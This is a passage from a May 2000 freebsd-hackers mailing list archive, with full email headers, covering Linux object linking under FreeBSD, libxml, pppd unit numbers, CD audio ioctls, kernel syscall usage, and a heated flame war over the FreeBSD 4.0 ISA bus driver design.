incompatibility at the API level.. my understanding is that the 1.x series is now end-of-life. Having said that, the port isn't going to change quickly.. a whole bunch of stuff depends on it right now. -aDe -- Ade Lovett, Austin, TX. ade@FreeBSD.org FreeBSD: The Power to Serve http://www.FreeBSD.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon May 29 8:50:50 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from aaz.links.ru (aaz.links.ru [193.125.152.37]) by hub.freebsd.org (Postfix) with ESMTP id 3A83437BC8E for ; Mon, 29 May 2000 08:50:39 -0700 (PDT) (envelope-from babolo@links.ru) Received: (from babolo@localhost) by aaz.links.ru (8.9.3/8.9.3) id TAA20044; Mon, 29 May 2000 19:50:28 +0400 (MSD) Message-Id: <200005291550.TAA20044@aaz.links.ru> Subject: Re: Linking Linux object files under FreeBSD In-Reply-To: <28440.959613498@www19.gmx.net> from "d_f0rce@gmx.de" at "May 29, 0 05:18:18 pm" To: d_f0rce@gmx.de Date: Mon, 29 May 2000 19:50:28 +0400 (MSD) Cc: freebsd-hackers@FreeBSD.ORG From: "Aleksandr A.Babaylov" MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG d_f0rce@gmx.de writes: > Hi, > > Can anyone tell me if it is possible to link object > files which were compiled under Linux on a FreeBSD system. > > Background: > I have to extend a programm for which I only got > the object Files. This programm calls functions > I have to write. As I don't have a Linux system > at home I would like to use those object-files > under FreeBSD to test my code. > > Is this possible? It is possible. I chrooted to /compat/linux for this job, but someone write, that using of /compat/linux/bin/bash as shell is enough for this work > When I try to link those object files I always get > the following errors: > > ###################################################### > Linking... > /home/maret/test/main.o: In function `process': > /home/maret/test/main.o(.text+0x24): undefined reference to `stderr' ............... [skip] > /home/maret/test/main.o(.text+0xc72): more undefined references to > `stderr' follow > *** Error code 1 (ignored) > ####################################################################### > > I tried to link libc with "cc -lc ...." but this didn't work too. > > Any ideas? > > Regards, > Alex > > PS: Please answer to me directly as I'm not on the list. -- @BABOLO http://links.ru/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon May 29 9:16:33 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from obie.softweyr.com (obie.softweyr.com [204.68.178.33]) by hub.freebsd.org (Postfix) with ESMTP id 8DF5137BC4F; Mon, 29 May 2000 09:16:26 -0700 (PDT) (envelope-from wes@softweyr.com) Received: from softweyr.com (Foolstrustident!@homer.softweyr.com [204.68.178.39]) by obie.softweyr.com (8.8.8/8.8.8) with ESMTP id KAA17405; Mon, 29 May 2000 10:16:24 -0600 (MDT) (envelope-from wes@softweyr.com) Message-ID: <3932989C.D346E0D8@softweyr.com> Date: Mon, 29 May 2000 10:19:40 -0600 From: Wes Peters Organization: Softweyr LLC X-Mailer: Mozilla 4.7 [en] (X11; U; FreeBSD 4.0-STABLE i386) X-Accept-Language: en MIME-Version: 1.0 To: Ade Lovett Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: Generic config file parser? References: <39321407.40926B57@softweyr.com> <20000529102919.A2142@FreeBSD.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Ade Lovett wrote: > > On Mon, May 29, 2000 at 12:53:59AM -0600, Wes Peters wrote: > > A better choice might be found in XML. Exploring the port of libxml > > (in ports/textproc) might be enlightening. > > XML is almost certainly a better option.. the more I look at it, > the more I think it will cover most all of the config file issues > that I have, both at home and RealJob[tm]. > > Be advised, however, the ports/textproc/libxml has a 2.0 version > floating around "out there" on the GNOME sites, which does have > a reasonable amount of incompatibility at the API level.. my > understanding is that the 1.x series is now end-of-life. > > Having said that, the port isn't going to change quickly.. > a whole bunch of stuff depends on it right now. And the geniuses at Gnome didn't make any provision for installing both libxml and libxml2 simultaneously. Building libxml2 is trivial, but installing it overwrites the libxml include files and libraries. Feh. -- "Where am I, and what am I doing in this handbasket?" Wes Peters Softweyr LLC wes@softweyr.com http://softweyr.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon May 29 9:33: 7 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from mailbox.reptiles.org (mailbox.reptiles.org [198.96.117.155]) by hub.freebsd.org (Postfix) with ESMTP id 750C937BC4D for ; Mon, 29 May 2000 09:32:59 -0700 (PDT) (envelope-from jim@reptiles.org) Received: from localhost (1623 bytes) by mailbox.reptiles.org via sendmail with P:stdio/R:bind_hosts/T:inet_zone_bind_smtp (sender: ) (ident using unix) id for ; Mon, 29 May 2000 12:32:58 -0400 (EDT) (Smail-3.2.0.108 1999-Sep-19 #3 built 1999-Oct-27) Date: Mon, 29 May 2000 12:32:58 -0400 From: Jim Mercer To: hackers@freebsd.org Subject: pppd and predictable ppp unit number Message-ID: <20000529123257.K6047@reptiles.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0i Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG i'm working with some stuff (zebra and vpn-like tunnels using ssh/pppd) where it would be very nice if i could predict (specify) which ppp unit number applied to a given ppp session. i've been using pppd (kernel mode) and would prefer a kernel level connection, as opposed to the userland ppp. as i understand it, pppd by default uses whatever ifunit number the kernel returns. i was thinking of hacking /usr/src/usr.sbin/pppd to allow for a "hardwire x" config option, which would cause pppd to fire up using unit pppx. this would allow me to create a session on pppx, and use pppx in my router config. i understand that this could create some oddness, if not all the ppp session on the box use hardwired unit numbers (ie. a link goes down, and another non-hardwired pppd session grabs the hardwired unit). it would be my intention to have this option documented as an all or nothing option. it might also be handy for people who want their ttydx devices to match up with their pppx devices. is this advisable? is this already done? -- [ Jim Mercer jim@reptiles.org +1 416 410-5633 ] [ Reptilian Research -- Longer Life through Colder Blood ] [ Don't be fooled by cheap Finnish imitations; BSD is the One True Code. ] To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon May 29 9:54:35 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from etinc.com (et-gw.etinc.com [207.252.1.2]) by hub.freebsd.org (Postfix) with ESMTP id B47A837BC15 for ; Mon, 29 May 2000 09:54:32 -0700 (PDT) (envelope-from dennis@etinc.com) Received: from dbsys (dbsys.etinc.com [207.252.1.18]) by etinc.com (8.9.3/8.9.3) with SMTP id MAA23819; Mon, 29 May 2000 12:58:43 -0400 (EDT) Message-Id: <200005291658.MAA23819@etinc.com> X-Sender: dennis@etinc.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0 Date: Mon, 29 May 2000 12:59:04 -0400 To: Bill Fumerola , hackers@FreeBSD.ORG From: Dennis Subject: Re: 4.0 - Isa devices not being probed (fwd) In-Reply-To: <20000527155731.V86725@jade.chc-chimes.com> References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 03:57 PM 5/27/00 -0400, Bill Fumerola wrote: >On Sat, May 27, 2000 at 03:51:24PM -0400, dennis@etinc.com wrote: > >> Yes....Whose brainstorm was it to use the new convoluted bus nonsense in >> FreeBSD 4.0? Clearly someone who never wrote a driver with a complex >> controller with indexed memory mapped registers.Whats next, assembler drivers? >[...] >> isa_compat.h? LOL...what college freshman thought of that? Is it really >> that difficult to have the prefix_probe() function called based on the >> config file? >[...] >> Its seems rather humorous that the "generic" bus implementation requires >> that isa drivers be hacked into the kernel with a build-time include. Very >> humorous indeed. Is this a temporary condition as was the deboggle in v3.0? > >It's these kinds of close-minded, stupid-ass comments that make me giggle >with delight as I buy from lanmedia instead of etinc for T1 cards. Luckily for them, their "strategy" of using an ethernet controller instead of an HDLC contoller frees them from having to write much code. Unfortunately they are stuck with inefficient and low density hardware. some people need more density than your obviously trivial needs, and the "new" bus-oriented implementation makes writing drivers with complex controllers much more difficult than need-be. DB Emerging Technologies, Inc. ---------------------------------------------------------------------------- --------- http://www.etinc.com ISA and PCI T1/T3/V35/HSSI Cards for FreeBSD and LINUX Multiport T1 and HSSI/T3 UNIX-based Routers Bandwidth Management Standalone Systems Bandwidth Management software for LINUX and FreeBSD To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon May 29 9:56:41 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from etinc.com (et-gw.etinc.com [207.252.1.2]) by hub.freebsd.org (Postfix) with ESMTP id 8481B37BC1D; Mon, 29 May 2000 09:56:35 -0700 (PDT) (envelope-from dennis@etinc.com) Received: from dbsys (dbsys.etinc.com [207.252.1.18]) by etinc.com (8.9.3/8.9.3) with SMTP id NAA23834; Mon, 29 May 2000 13:00:46 -0400 (EDT) Message-Id: <200005291700.NAA23834@etinc.com> X-Sender: dennis@etinc.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0 Date: Mon, 29 May 2000 13:01:07 -0400 To: Mike Smith From: Dennis Subject: Re: 4.0 - Isa devices not being probed Cc: Jeroen Ruigrok van der Werven , John Hay , hackers@FreeBSD.ORG In-Reply-To: <200005280136.SAA01669@mass.cdrom.com> References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 06:36 PM 5/27/00 -0700, Mike Smith wrote: >> Existing bus abstractions tend to let think that the same software driver >> can deal with different buses, bridges or IO methods without having to >> care about how these things actually behave, notably regarding buffering >> and ordering rules. This is untrue. > >A good bus abstraction lets you care as much or as little as necessary. >The NetBSD framework (which we use) allows you to do this. The best "portable" coding method is with memory-mapped registers, which seems to have been omitted from this "implementation", which is the gripe here. Perhaps "portable" within the OS was your goal, but in the mean time "portable" between very different OSs has been tainted. After an OS specific initialization, the driver can be completely OS independent (as are our LINUX and FreeBSD drivers) using memory-mapped registers. One of the problems with "free software" is that the big picture is missed because the people writing OS's dont care (and for the most part dont understand) about vendors supporting multiple, very different, OS's. DB To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon May 29 10: 2:54 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.gmx.net (pop.gmx.net [194.221.183.20]) by hub.freebsd.org (Postfix) with SMTP id 1313237BCA4 for ; Mon, 29 May 2000 10:02:50 -0700 (PDT) (envelope-from d_f0rce@gmx.de) Received: (qmail 5698 invoked by uid 0); 29 May 2000 17:02:48 -0000 Received: from unknown (HELO blade) (212.118.36.37) by mail04.rzmi.gmx.net with SMTP; 29 May 2000 17:02:48 -0000 From: "d_f0rce" To: "Aleksandr A.Babaylov" Cc: Subject: AW: Linking Linux object files under FreeBSD Date: Mon, 29 May 2000 19:07:01 +0200 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) In-Reply-To: <200005291550.TAA20044@aaz.links.ru> X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Importance: Normal Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, > > Background: > > I have to extend a programm for which I only got > > the object Files. This programm calls functions > > I have to write. As I don't have a Linux system > > at home I would like to use those object-files > > under FreeBSD to test my code. > > > > Is this possible? > > It is possible. > I chrooted to /compat/linux for this job, > but someone write, that using of /compat/linux/bin/bash > as shell is enough for this work Hmm, i tried using /compat/linux/bin/bash as shell but this didn't work. Same error messages. When I do a "chroot /compat/linux/ /bin/bash" I have to install a whole developement environment under /compat/linux or do I miss something here. Isn't there an easier/quicker way to generate my program besides from using Linux itself? If no, is there a port to install a Linux cc under /compat/linux? Thanks for your help, Alex To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon May 29 10:31:20 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from kiew.egd.igd.fhg.de (kiew.egd.igd.fhg.de [192.102.170.32]) by hub.freebsd.org (Postfix) with ESMTP id 5EA2737BCAE for ; Mon, 29 May 2000 10:31:16 -0700 (PDT) (envelope-from runge@rostock.zgdv.de) Received: from rostock.zgdv.de (ppp03.egd.igd.fhg.de [153.96.43.213]) by kiew.egd.igd.fhg.de (Netscape Messaging Server 3.6) with ESMTP id AAA2EFE for ; Mon, 29 May 2000 19:31:08 +0200 Message-ID: <3932A839.FE488695@rostock.zgdv.de> Date: Mon, 29 May 2000 19:26:17 +0200 From: Thomas Runge X-Mailer: Mozilla 4.72 [en] (X11; I; FreeBSD 4.0-STABLE i386) X-Accept-Language: en MIME-Version: 1.0 To: freebsd-hackers@FreeBSD.ORG Subject: Re: AW: Linking Linux object files under FreeBSD References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG d_f0rce wrote: > Isn't there an easier/quicker way to generate my program besides > from using Linux itself? > If no, is there a port to install a Linux cc under /compat/linux? Well, imagine, the object files use some stuff from libc. How will you match that from Linux' to our libc? I think, you have to use the Linux development tools (cross- compiler/-linker) from: /usr/ports/devel/linux_devtools. -- Tom To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon May 29 10:38: 0 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from etinc.com (et-gw.etinc.com [207.252.1.2]) by hub.freebsd.org (Postfix) with ESMTP id 7BB7937BCB7 for ; Mon, 29 May 2000 10:37:49 -0700 (PDT) (envelope-from dennis@etinc.com) Received: from dbsys (dbsys.etinc.com [207.252.1.18]) by etinc.com (8.9.3/8.9.3) with SMTP id NAA23952; Mon, 29 May 2000 13:41:57 -0400 (EDT) Message-Id: <200005291741.NAA23952@etinc.com> X-Sender: dennis@etinc.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0 Date: Mon, 29 May 2000 13:42:18 -0400 To: "Jeroen C. van Gelderen" From: Dennis Subject: Re: 4.0 - Isa devices not being probed Cc: hackers@freebsd.org In-Reply-To: <39305AAA.D8A9ECB6@vangelderen.org> References: <200005262147.PAA92719@harmony.village.org> <200005271908.PAA20241@etinc.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 07:30 PM 5/27/00 -0400, Jeroen C. van Gelderen wrote: >Dennis wrote: >> >> At 09:54 AM 5/27/00 +0200, John Hay wrote: >> >> In message <200005261723.NAA16495@etinc.com> Dennis writes: >> >> : My 4.0 system doesnt probe ISA devices on my system. >> >> : >> >> : Whats the trick? Is there a config requirement with old-style drivers? >> >> >> >> They probe great for me. what, specifically, isn't probing? >> > >> >He is probably talking about their own driver. In that case you have to >> >add it to /sys/i386/isa/isa_compat.* or bite the bullet and new-busify >> >it. >> >> Yes....Whose brainstorm was it to use the new convoluted bus nonsense in >> FreeBSD 4.0? Clearly someone who never wrote a driver with a complex >> controller with indexed memory mapped registers.Whats next, assembler drivers? > >Uhm, the very fact that you are too simple-minded to understand the >new, flexible, structured, high-performance bus architecture is sad. >That you take it out on the people reading -current is beyond sad. >If you can't behave like an adult shut up and go away. I understand it, and I think it sucks. The world is going to object oriented languages to make programming complex tasks easier , and freebsd is going in the other direction. And you seem to have not considered "portability" between OS's, which is more important to the real software community than portability between hardware within an OS. The proper way to "genericize" busses is with library wrappers...transparent to the developer. CPUs today can crank out data 10 times faster than the busses can accept them...bastardizing the OS to make things a bit more efficient is not an accomplishment. DB To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon May 29 10:42:44 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from critter.freebsd.dk (critter.freebsd.dk [212.242.40.131]) by hub.freebsd.org (Postfix) with ESMTP id D6ED537BCB7 for ; Mon, 29 May 2000 10:42:39 -0700 (PDT) (envelope-from phk@critter.freebsd.dk) Received: from critter.freebsd.dk (localhost [127.0.0.1]) by critter.freebsd.dk (8.9.3/8.9.3) with ESMTP id TAA27251; Mon, 29 May 2000 19:41:49 +0200 (CEST) (envelope-from phk@critter.freebsd.dk) To: Dennis Cc: "Jeroen C. van Gelderen" , hackers@FreeBSD.ORG Subject: Re: 4.0 - Isa devices not being probed In-reply-to: Your message of "Mon, 29 May 2000 13:42:18 EDT." <200005291741.NAA23952@etinc.com> Date: Mon, 29 May 2000 19:41:49 +0200 Message-ID: <27249.959622109@critter.freebsd.dk> From: Poul-Henning Kamp Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <200005291741.NAA23952@etinc.com>, Dennis writes: >>Uhm, the very fact that you are too simple-minded to understand the >>new, flexible, structured, high-performance bus architecture is sad. >>That you take it out on the people reading -current is beyond sad. >>If you can't behave like an adult shut up and go away. > >I understand it, and I think it sucks. "Cogito ergo cogito ergo sum" as one of the fortunes claims with little regard to latin grammer. You forgot the bit about "shut up and go away" Dennis, despite the fact that a fair number of people have asked you to. -- Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 phk@FreeBSD.ORG | TCP/IP since RFC 956 FreeBSD coreteam member | BSD since 4.3-tahoe Never attribute to malice what can adequately be explained by incompetence. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon May 29 10:57: 2 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from aaz.links.ru (aaz.links.ru [193.125.152.37]) by hub.freebsd.org (Postfix) with ESMTP id CCCAB37B618 for ; Mon, 29 May 2000 10:56:56 -0700 (PDT) (envelope-from babolo@links.ru) Received: (from babolo@localhost) by aaz.links.ru (8.9.3/8.9.3) id VAA29703; Mon, 29 May 2000 21:56:51 +0400 (MSD) Message-Id: <200005291756.VAA29703@aaz.links.ru> Subject: Re: AW: Linking Linux object files under FreeBSD In-Reply-To: from "d_f0rce" at "May 29, 0 07:07:01 pm" To: d_f0rce@gmx.de (d_f0rce) Date: Mon, 29 May 2000 21:56:51 +0400 (MSD) Cc: babolo@links.ru, freebsd-hackers@freebsd.org From: "Aleksandr A.Babaylov" MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG d_f0rce writes: [Charset iso-8859-1 unsupported, filtering to ASCII...] > Hi, > > > > Background: > > > I have to extend a programm for which I only got > > > the object Files. This programm calls functions > > > I have to write. As I don't have a Linux system > > > at home I would like to use those object-files > > > under FreeBSD to test my code. > > > > > > Is this possible? > > > > It is possible. > > I chrooted to /compat/linux for this job, > > but someone write, that using of /compat/linux/bin/bash > > as shell is enough for this work > > Hmm, i tried using /compat/linux/bin/bash as shell but this > didn't work. Same error messages. > > When I do a "chroot /compat/linux/ /bin/bash" I have to > install a whole developement environment under /compat/linux or > do I miss something here. YES OF CAUSE! You need full linux developement environment to translate or link something for linux I think that in named now /usr/ports/devel/linux_devtools (it was linux_devel when I work with) > Isn't there an easier/quicker way to generate my program besides > from using Linux itself? > If no, is there a port to install a Linux cc under /compat/linux? -- @BABOLO http://links.ru/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon May 29 11:31:32 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from www.medsp.com (wannabe.guru.org [209.203.250.44]) by hub.freebsd.org (Postfix) with ESMTP id 1C50837BC15 for ; Mon, 29 May 2000 11:31:30 -0700 (PDT) (envelope-from scott@www.medsp.com) Received: (from scott@localhost) by www.medsp.com (8.9.3/8.9.3) id LAA15219 for hackers@freebsd.org; Mon, 29 May 2000 11:34:58 -0700 (PDT) (envelope-from scott) Date: Mon, 29 May 2000 11:34:58 -0700 From: Scott Gasch To: hackers@freebsd.org Subject: ioctl for reading raw ATAPI CDDA data Message-ID: <20000529113458.A15204@www.medsp.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre2i Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, I'm trying to rip CDDA from an ATAPI cdrom device. So first I tried using cdd from /usr/ports. No dice, the resulting file is static. Next I searched for an alternative and found daex. Since I'm running FreeBSD-4.0-RELEASE the kernel mods the author describes are outdated. I modified the daex source to use the CDIOCREADAUDIO ioctl and got another program ripping static data from my CDs. Next I thought the CDROM device simply didn't support the function so I replaced it with a CDROM I know can rip (it does in Windows). Still the static... So my question is -- does anyone have any experience with the above ioctl call? Is the buffer in some format other than the raw data format? Are there some other bits in there? Why is it coming back full of static instead of music? Does anyone know a better ripping tool? Does cdd work on your BSD box? Thanks, Scott -- Scott Gasch scott@wannabe.guru.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon May 29 12:12:19 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from cypherpunks.ai (cypherpunks.ai [209.88.68.47]) by hub.freebsd.org (Postfix) with ESMTP id 9354537BCE6 for ; Mon, 29 May 2000 12:12:10 -0700 (PDT) (envelope-from jeroen@vangelderen.org) Received: from vangelderen.org (grolsch.ai [209.88.68.214]) by cypherpunks.ai (Postfix) with ESMTP id 17AB549; Mon, 29 May 2000 15:11:49 -0400 (AST) Message-ID: <3932C0E8.594E76EC@vangelderen.org> Date: Mon, 29 May 2000 15:11:36 -0400 From: "Jeroen C. van Gelderen" X-Mailer: Mozilla 4.72 [en] (X11; I; Linux 2.2.12 i386) X-Accept-Language: en MIME-Version: 1.0 To: Dennis Cc: hackers@freebsd.org Subject: Re: 4.0 - Isa devices not being probed References: <200005262147.PAA92719@harmony.village.org> <200005271908.PAA20241@etinc.com> <200005291741.NAA23952@etinc.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Dennis wrote: > > At 07:30 PM 5/27/00 -0400, Jeroen C. van Gelderen wrote: > >Dennis wrote: > >> > >> At 09:54 AM 5/27/00 +0200, John Hay wrote: > >> >> In message <200005261723.NAA16495@etinc.com> Dennis writes: > >> >> : My 4.0 system doesnt probe ISA devices on my system. > >> >> : > >> >> : Whats the trick? Is there a config requirement with old-style drivers? > >> >> > >> >> They probe great for me. what, specifically, isn't probing? > >> > > >> >He is probably talking about their own driver. In that case you have to > >> >add it to /sys/i386/isa/isa_compat.* or bite the bullet and new-busify > >> >it. > >> > >> Yes....Whose brainstorm was it to use the new convoluted bus nonsense in > >> FreeBSD 4.0? Clearly someone who never wrote a driver with a complex > >> controller with indexed memory mapped registers.Whats next, assembler > drivers? > > > >Uhm, the very fact that you are too simple-minded to understand the > >new, flexible, structured, high-performance bus architecture is sad. > >That you take it out on the people reading -current is beyond sad. > >If you can't behave like an adult shut up and go away. > > I understand it, and I think it sucks. The world is going to object > oriented languages to make programming complex tasks easier , and freebsd > is going in the other direction. Dennis: you just posted a private email to a public mailing list: From: "Jeroen C. van Gelderen" Time: Sat 19:30 Subject: Re: 4.0 - Isa devices not being probed To: Dennis 'Nuff said. Cheers, Jeroen -- Jeroen C. van Gelderen o _ _ _ jeroen@vangelderen.org _o /\_ _ \\o (_)\__/o (_) _< \_ _>(_) (_)/<_ \_| \ _|/' \/ (_)>(_) (_) (_) (_) (_)' _\o_ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon May 29 12:15:26 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from anchor-post-33.mail.demon.net (anchor-post-33.mail.demon.net [194.217.242.91]) by hub.freebsd.org (Postfix) with ESMTP id A268637B87F; Mon, 29 May 2000 12:15:19 -0700 (PDT) (envelope-from dfr@nlsystems.com) Received: from nlsys.demon.co.uk ([158.152.125.33] helo=herring.nlsystems.com) by anchor-post-33.mail.demon.net with esmtp (Exim 2.12 #1) id 12wV0H-000Byk-0X; Mon, 29 May 2000 20:15:10 +0100 Received: from salmon.nlsystems.com (salmon.nlsystems.com [10.0.0.3]) by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id UAA33495; Mon, 29 May 2000 20:15:56 +0100 (BST) (envelope-from dfr@nlsystems.com) Date: Mon, 29 May 2000 20:20:31 +0100 (BST) From: Doug Rabson To: Dennis Cc: Mike Smith , Jeroen Ruigrok van der Werven , John Hay , hackers@freebsd.org Subject: Re: 4.0 - Isa devices not being probed In-Reply-To: <200005291700.NAA23834@etinc.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 29 May 2000, Dennis wrote: > At 06:36 PM 5/27/00 -0700, Mike Smith wrote: > >> Existing bus abstractions tend to let think that the same software driver > >> can deal with different buses, bridges or IO methods without having to > >> care about how these things actually behave, notably regarding buffering > >> and ordering rules. This is untrue. > > > >A good bus abstraction lets you care as much or as little as necessary. > >The NetBSD framework (which we use) allows you to do this. > > The best "portable" coding method is with memory-mapped registers, which > seems to have been omitted from this "implementation", which is the gripe > here. Perhaps "portable" within the OS was your goal, but in the mean time > "portable" between very different OSs has been tainted. After an OS > specific initialization, the driver can be completely OS independent (as > are our LINUX and FreeBSD drivers) using memory-mapped registers. Using normal C pointers to memory-mapped registers is not portable. -- Doug Rabson Mail: dfr@nlsystems.com Nonlinear Systems Ltd. Phone: +44 20 8442 9037 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon May 29 12:39:39 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from fw.wintelcom.net (ns1.wintelcom.net [209.1.153.20]) by hub.freebsd.org (Postfix) with ESMTP id 3061B37BCE8; Mon, 29 May 2000 12:39:33 -0700 (PDT) (envelope-from bright@fw.wintelcom.net) Received: (from bright@localhost) by fw.wintelcom.net (8.10.0/8.10.0) id e4TKEMh22398; Mon, 29 May 2000 13:14:22 -0700 (PDT) Date: Mon, 29 May 2000 13:14:22 -0700 From: Alfred Perlstein To: "G.B.Naidu" Cc: freebsd-net@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG Subject: Re: How do I time in kernel... Message-ID: <20000529131422.W28594@fw.wintelcom.net> References: <20000529020845.U28594@fw.wintelcom.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: ; from gbnaidu@sasi.com on Mon, May 29, 2000 at 04:28:56PM +0530 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG * G.B.Naidu [000529 04:58] wrote: > > On Mon, 29 May 2000, Alfred Perlstein wrote: > > > It depends on how you call it, look at the sendfile implementation and > > see how it has to call writev(), userland_writev() != kernel_writev(), > > you need to munge with the arguements. > > > > The kernel_writev() calls requre a proc structure. Now my question is how > can I get a proc structure? All system calls pass the proc structure pointer in as the first arguement. > My requirement is as follows: I want to open a driver as > open("/dev/nic0"...), then I want to write() and read() from the driver. I > have two choices. Either to go for the kernel or user level. Kernel level > is to restrict the normal user from fiddling with the driver data. User > lever is for simplicity. Well since you can control exactly what data is allowed into the kernel there's no reason why you can't keep it simple and use the userland interface and force the constraints within the kernel code. > > Now which choice should I make? I'm not sure I fully understand what you're trying to accomplish so it's hard to say. > If I want to go for kernel level, my question is how do I do open, write, > read and close. For the kernel versions of these system calls, I need proc > structure. How do I get it? You can use curproc to 'borrow' a process context, however you can't do this from an interrupt handler so you'll have to be careful. > Next I read in the book : design of 4.4 BSD O/S that the user interface > for the system calls is thorugh library routines write(), open() etc. I > want to know where is the source code for these user land write(), > open() etc library calls. Where this implementation of interface between > library calls and system calls? How it is done? see the files in src/sys/i386/i386 for how the userland arguments are copying into a trap frame for the syscalls. trap.c should help. -- -Alfred Perlstein - [bright@wintelcom.net|alfred@freebsd.org] "I have the heart of a child; I keep it in a jar on my desk." To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon May 29 14:15:31 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from cepheus.azstarnet.com (cepheus.azstarnet.com [169.197.56.195]) by hub.freebsd.org (Postfix) with ESMTP id 669F037B73A for ; Mon, 29 May 2000 14:15:27 -0700 (PDT) (envelope-from bobkat@azstarnet.com) Received: from full.planing.jibe (dialup03ip102.tus.azstarnet.com [169.197.31.102]) by cepheus.azstarnet.com (8.9.3/8.9.3) with SMTP id OAA09710 for ; Mon, 29 May 2000 14:15:23 -0700 (MST) X-Sent-via: StarNet http://www.azstarnet.com/ From: Bob Kot To: freebsd-hackers@FreeBSD.ORG Subject: subr_bus.c | kldload | kldunload Date: Mon, 29 May 2000 14:06:25 -0700 X-Mailer: KMail [version 1.0.28] Content-Type: text/plain MIME-Version: 1.0 Message-Id: <00052914152202.00450@full.planing.jibe> Content-Transfer-Encoding: 8bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk 